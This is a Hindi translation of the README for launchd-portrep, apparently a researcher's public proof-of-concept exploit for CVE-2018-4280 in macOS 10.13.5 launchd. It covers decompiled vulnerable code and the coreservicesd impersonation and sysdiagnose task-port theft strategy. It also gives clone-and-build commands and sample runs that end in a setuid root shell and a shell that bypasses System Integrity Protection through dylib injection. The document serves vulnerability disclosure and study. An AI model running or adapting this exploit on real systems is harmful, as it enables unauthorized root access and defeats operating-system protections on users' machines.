
CVE-2018-4280: macOS 10.13.5 पर launchd में Mach पोर्ट प्रतिस्थापन कमजोरी जिसके कारण स्थानीय विशेषाधिकार वृद्धि और SIP बायपास होता है।
launchd-portrep macOS पर launchd में पोर्ट प्रतिस्थापन भेद्यता के लिए एक शोषण है, जो प्रारंभिक उपयोगकर्तास्थान प्रक्रिया और सेवा प्रबंधन डेमॉन है। बूटस्ट्रैप पोर्ट पर एक क्राफ्टेड Mach संदेश भेजकर, launchd को किसी भी Mach पोर्ट के लिए अपने भेजने के अधिकार को डीलोकेट करने के लिए मजबूर किया जा सकता है, जिसके लिए हमलावर के पास भी भेजने का अधिकार है। यह हमलावर को किसी भी launchd सेवा का प्रतिरूपण करने की अनुमति देता है जिसे वह सिस्टम के बाकी हिस्सों तक देख सकता है।
Launchd अपने मुख्य पोर्ट पर कई अलग-अलग Mach संदेश हैंडलर को मल्टीप्लेक्स करता है, जिसमें अपवाद संदेशों के लिए एक MIG हैंडलर शामिल है। यदि कोई प्रक्रिया अपने स्वयं के बूटस्ट्रैप पोर्ट पर mach_exception_raise या mach_exception_raise_state_identity संदेश भेजती है, तो launchd उस संदेश को होस्ट-स्तरीय अपवाद के रूप में प्राप्त और संसाधित करेगा।
दुर्भाग्य से, इन संदेशों का launchd का हैंडलिंग बगी है। यदि अपवाद प्रकार EXC_CRASH है, तो launchd संदेश में भेजे गए थ्रेड और टास्क पोर्ट को डीलोकेट करेगा और फिर सेवा रूटीन से KERN_FAILURE लौटाएगा, जिससे MIG सिस्टम थ्रेड और टास्क पोर्ट को फिर से डीलोकेट कर देगा। (धारणा यह है कि यदि कोई सेवा रूटीन सफलता लौटाती है, तो इसने Mach संदेश में सभी संसाधनों का स्वामित्व ले लिया है, जबकि यदि सेवा रूटीन कोई त्रुटि लौटाती है, तो इसने किसी भी संसाधन का स्वामित्व नहीं लिया है।)
यहाँ mach_exception_raise संदेशों के लिए launchd की सेवा रूटीन का कोड है, जिसे IDA/Hex-Rays का उपयोग करके डीकंपाइल किया गया है और पठनीयता के लिए हल्के से संपादित किया गया है:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) सेवा रूटीन को
mach_port_t exception_port, // तुरंत Mach संदेश से
mach_port_t thread, // मानों के साथ कॉल किया जाता है
mach_port_t task, // जो ग्राहक द्वारा भेजा जाता है।
unsigned int exception, // thread और task पोर्ट
mach_exception_data_t code, // मनमाने भेजने के अधिकार हो सकते हैं।
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) संदेश में भेजा गया "thread" पोर्ट
if ( kr ) // डीलोकेट किया जाता है।
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) संदेश में भेजा गया "task" पोर्ट
if ( kr ) // डीलोकेट किया जाता है।
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) यदि अपवाद प्रकार 10 है
result *= 5; // (EXC_CRASH), तो एक त्रुटि
} // KERN_FAILURE लौटाई जाती है।
return result; // MIG पोर्टों को फिर से
} // डीलोकेट करेगा।
पोर्ट नामों का यह दोहरा-डीलोकेट समस्याग्रस्त है क्योंकि एक प्रक्रिया अपवाद संदेश में टास्क और थ्रेड पोर्ट के रूप में जो भी पोर्ट चाहे सेट कर सकती है। Launchd यह जाँच नहीं करता है कि प्राप्त भेजने के अधिकार वास्तव में किसी थ्रेड और कार्य के अनुरूप हैं; पोर्ट, उदाहरण के लिए, launchd के IPC स्थान में पहले से मौजूद पोर्ट के भेजने के अधिकार हो सकते हैं। फिर दोहरा-डीलोकेट वास्तव में launchd को अपने स्वयं के एक पोर्ट पर उपयोगकर्ता संदर्भ छोड़ने का कारण बनेगा।
इस बग का उपयोग launchd के भेजने के अधिकार को किसी भी Mach पोर्ट से मुक्त करने के लिए किया जा सकता है, जिसमें हमलावर प्रक्रिया के पास भी भेजने का अधिकार है। विशेष रूप से, यदि हमलावर प्रक्रिया launchd का उपयोग करके किसी सिस्टम सेवा को देख सकती है, तो वह उस सेवा के लिए launchd के भेजने के अधिकार को मुक्त कर सकती है और फिर सिस्टम के बाकी हिस्सों के लिए सेवा का प्रतिरूपण कर सकती है। उसके बाद सिस्टम विशेषाधिकार प्राप्त करने के लिए कई अलग-अलग रास्ते हैं।
यह बग CVE-2016-7637 का एक कम सामान्य संस्करण है, जो XNU में Ian Beer द्वारा खोजा गया Mach पोर्ट उपयोगकर्ता संदर्भ हैंडलिंग मुद्दा है, जो प्रक्रियाओं को अन्य प्रक्रियाओं में Mach पोर्ट मुक्त करने की अनुमति देता है। Ian Beer ने macOS पर उस भेद्यता का शोषण com.apple.CoreServices.coreservicesd एंडपॉइंट पर launchd के भेजने के अधिकार को बदलकर और सिस्टम के बाकी हिस्सों के लिए coreservicesd का प्रतिरूपण करके किया। Coreservicesd एक आकर्षक लक्ष्य है क्योंकि यह उन कुछ सेवाओं में से एक है जिनके लिए ग्राहक एक Mach संदेश में अपना टास्क पोर्ट भेजेंगे। launchd के भेजने के अधिकार को coreservicesd में अपने स्वयं के पोर्ट से बदलकर और फिर विशेषाधिकार प्राप्त ग्राहकों को coreservicesd को देखने और संवाद करने के लिए ट्रिगर करके, वह एक विशेषाधिकार प्राप्त प्रक्रिया के लिए टास्क पोर्ट प्राप्त करने और फिर उस प्रक्रिया के भीतर कोड निष्पादित करने में सक्षम था।
चूंकि macOS पर व्यवहार नहीं बदला है, मैंने मूल रूप से इस भेद्यता के लिए Ian Beer की शोषण रणनीति की नकल की है। हम launchd को coreservicesd के सेवा पोर्ट वाले अपवाद संदेश भेजते हैं जब तक कि हम उस पोर्ट पर launchd के भेजने के अधिकार को मुक्त नहीं कर देते। हम पता लगा सकते हैं कि हमने सेवा पर फिर से bootstrap_look_up() कॉल करके अधिकार मुक्त कर दिया है: यदि launchd एक अमान्य पोर्ट नाम लौटाता है, तो हमने सफलतापूर्वक पोर्ट पर launchd का भेजने का अधिकार मुक्त कर दिया है। फिर, हम बार-बार launchd के साथ बड़ी संख्या में सेवाओं को पंजीकृत और अपंजीकृत करते हैं जब तक कि हमारे द्वारा पंजीकृत सेवाओं में से एक को launchd के IPC स्थान में मूल coreservicesd पोर्ट के समान Mach पोर्ट नाम नहीं दिया जाता है। इस बिंदु पर, कोई भी प्रक्रिया जो launchd में com.apple.CoreServices.coreservicesd को देखती है, वास्तविक coreservicesd के बजाय हमारी नकली सेवा के लिए एक भेजने का अधिकार प्राप्त करेगी। हम फिर नकली सेवा पोर्ट पर एक MITM सर्वर चलाते हैं, ग्राहकों से प्राप्त संदेशों में सभी Mach पोर्टों का निरीक्षण करते हैं, इससे पहले कि हम उन्हें वास्तविक coreservicesd को भेजें। इस बिंदु पर हम sysdiagnose को एक संदेश भेजते हैं जिससे वह एक tailspin चलाता है, जो sysdiagnose को हमारे नकली coreservicesd पोर्ट से कनेक्ट करने और हमें अपना टास्क पोर्ट भेजने का कारण बनता है। चूंकि sysdiagnose के पास task_for_pid-allow एंटाइटलमेंट है, अब हम किसी भी प्रक्रिया के लिए टास्क पोर्ट प्राप्त कर सकते हैं।
सिस्टम के (अधिकांश) उचित कार्य को बहाल करने के लिए, हम sysdiagnose का उपयोग launchd के टास्क पोर्ट को प्राप्त करने के लिए करते हैं, और फिर launchd के टास्क पोर्ट का उपयोग करके launchd के भेजने के अधिकार को हमारे नकली सेवा पोर्ट से वापस वास्तविक coreservicesd के भेजने के अधिकार से बदल देते हैं। इस तरह भविष्य के ग्राहक वास्तव में coreservicesd तक पहुँच सकते हैं।
मैंने इस दृष्टिकोण के साथ एक समस्या देखी है कि शटडाउन पर सिस्टम थोड़ी देर के लिए हैंग हो जाता है। मैं मान रहा हूँ कि ऐसा इसलिए है क्योंकि launchd के पोर्टों के साथ छेड़छाड़ launchd के कुछ लेखांकन या पोर्ट सूचनाओं को गड़बड़ कर देती है। मैंने इस मुद्दे की आगे जाँच नहीं की है, लेकिन launchctl का उपयोग करके coreservicesd को पुनरारंभ करने से यह ठीक होता है:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
एक बार जब हमारे पास task_for_pid-allow प्रक्रिया के अंदर कोड निष्पादन होता है, तो हम सिस्टम पर किसी भी कार्य को नियंत्रित कर सकते हैं। यह बहुत अच्छा है क्योंकि न केवल हम विशेषाधिकारों का मानक उन्नयन कर सकते हैं, बल्कि हम SIP-एंटाइटल्ड प्रक्रियाओं में कोड इंजेक्ट करके SIP को भी बायपास कर सकते हैं।
यह शोषण दो संभावित उपयोगों को प्रदर्शित करता है: रूट के रूप में सिस्टम कमांड निष्पादन और dylib इंजेक्शन। एक सिस्टम कमांड निष्पादित करने के लिए, हम बस sysdiagnose के अंदर से मानक system() फ़ंक्शन को कॉल करते हैं, इसे उपयोगकर्ता द्वारा आपूर्ति की गई कमांड स्ट्रिंग पास करते हैं। एक प्रक्रिया में dylib इंजेक्ट करने के लिए, हम लक्ष्य का टास्क पोर्ट प्राप्त करने के लिए sysdiagnose के अंदर से task_for_pid() कॉल करते हैं, फिर आपूर्ति की गई लाइब्रेरी पर dlopen() कॉल करने के लिए टास्क पोर्ट का उपयोग करते हैं।
स्टैंडअलोन शोषण launchd-portrep बनाने के लिए, make चलाएँ। विभिन्न बिल्ड विकल्पों के लिए Makefile के शीर्ष देखें। आपको पहले threadexec इंजेक्शन लाइब्रेरी डाउनलोड और बनानी होगी।
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
ध्यान दें कि लिखा गया शोषण विफल हो जाएगा यदि sysdiagnose प्रक्रिया पहले से चल रही है। इस प्रकार, इस प्रूफ ऑफ कॉन्सेप्ट के प्रयोजनों के लिए, शोषण चलाने से पहले sysdiagnose को मारना सुनिश्चित करें। (शोषण को फिर से काम करना संभव है ताकि यह अभी भी काम करे यदि sysdiagnose पहले से चल रहा है, लेकिन मैंने इस उपकरण के दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग को हतोत्साहित करने के लिए इस कार्यक्षमता को शामिल नहीं करने का निर्णय लिया है।)
शोषण को चलाने के लिए कमांड निर्दिष्ट करें जैसे कि इसे system() फ़ंक्शन को दिया जा रहा हो:
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
वैकल्पिक रूप से, यदि आप एक PID और एक गतिशील लाइब्रेरी फ़ाइल का पूर्ण पथ निर्दिष्ट करते हैं, तो launchd-portrep निर्दिष्ट प्रक्रिया में dylib इंजेक्ट करेगा।
दो उदाहरण स्क्रिप्ट भी हैं जो launchd-portrep को लपेटती हैं: launchd-portrep-rootsh.sh और launchd-portrep-rootless.sh।
launchd-portrep-rootsh.sh /var/suid-sh के तहत एक setuid-root शेल लॉन्चर स्थापित करके एक पारंपरिक रूट शेल प्रस्तुत करेगा। (setuid शेल 1 सेकंड के बाद स्वचालित रूप से हटा दिया जाता है।)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh और भी दिलचस्प है: यह एक शेल प्रस्तुत करता है जहाँ फाइलसिस्टम पर रूटलेस प्रतिबंध अक्षम कर दिए गए हैं। यह diskmanagementd को स्पॉन करके करता है, जिसके पास com.apple.rootless.install.heritable एंटाइटलमेंट है, और फिर diskmanagementd में एक dylib इंजेक्ट करता है जो इसे नामित पाइपों से बंधे stdin और stdout के साथ एक शेल स्पॉन करने का कारण बनता है। जैसा कि एंटाइटलमेंट के नाम से पता चलता है, com.apple.rootless.install.heritable द्वारा दी गई SIP से छूट बाल प्रक्रियाओं को दी जाएगी, जिसका अर्थ है कि शेल और उसमें चलाए जाने वाले सभी कमांड अनिवार्य रूप से SIP फाइलसिस्टम सुरक्षा से मुक्त हैं।
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep का macOS 10.13.5 17F77 पर परीक्षण किया गया है।
launchd-portrep कोड MIT लाइसेंस के तहत जारी किया गया है।
Brandon Azad